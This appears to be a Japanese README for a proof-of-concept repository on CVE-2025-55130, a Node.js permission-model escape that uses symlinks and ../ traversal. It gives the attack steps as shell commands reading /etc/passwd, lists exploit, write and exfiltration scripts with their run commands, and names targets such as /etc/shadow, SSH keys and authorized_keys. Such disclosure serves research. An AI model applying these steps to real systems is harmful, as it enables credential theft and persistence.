CVE-2025-55130 - Node.js パーミッションモデル シンボリックリンクエスケープ
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js パーミッションモデルバイパス(巧妙に作成されたシンボリックリンク経由)
[ 発見者: natann @ JFrog ]
概要
Node.js のパストラバーサルの欠陥により、絶対パスを指すシンボリックリンクと相対トラバーサルを組み合わせることで、--allow-fs-read および --allow-fs-write のパーミッション制限から抜け出すことが可能です。
パーミッションチェックとパス解決は別々に行われます。最初のパスがパーミッションチェックを通過すると、シンボリックリンクが辿られ、トラバーサルシーケンスがサンドボックスを脱出します。
影響を受けるバージョン
技術的分析
根本原因
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
パーミッションモデルは、シンボリックリンク解決前にパス文字列を検証します。絶対パスへのシンボリックリンクを作成し、その後に ../ トラバーサルを使用することで、許可されたディレクトリから脱出します。
攻撃の流れ
1. mkdir -p ./a/b/c/d/e/f/g # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink to absolute path
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
ファイル
| ファイル | 目的 |
|---|
exploit.js | 主要なエクスプロイト - 任意のファイルの読み取り |
exploit_write.js | 任意のファイルへの書き込み |
exfil.js | 大量ファイルの外部流出 |
使用方法
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
影響
- 機密ファイルの読み取り: /etc/passwd, /etc/shadow, SSH鍵, 設定ファイル
- 任意のファイルへの書き込み: cronジョブ, authorized_keys, 設定ファイル
- マルチテナント環境でのコンテナ脱出
- 信頼できないコード実行に対するサンドボックスバイパス
参考文献
クレジット
- 脆弱性発見: Natan Nehorai (natann) @ JFrog Security Research
- 修正: RafaelGSS @ Node.js
研究および許可されたテストのみを対象としています。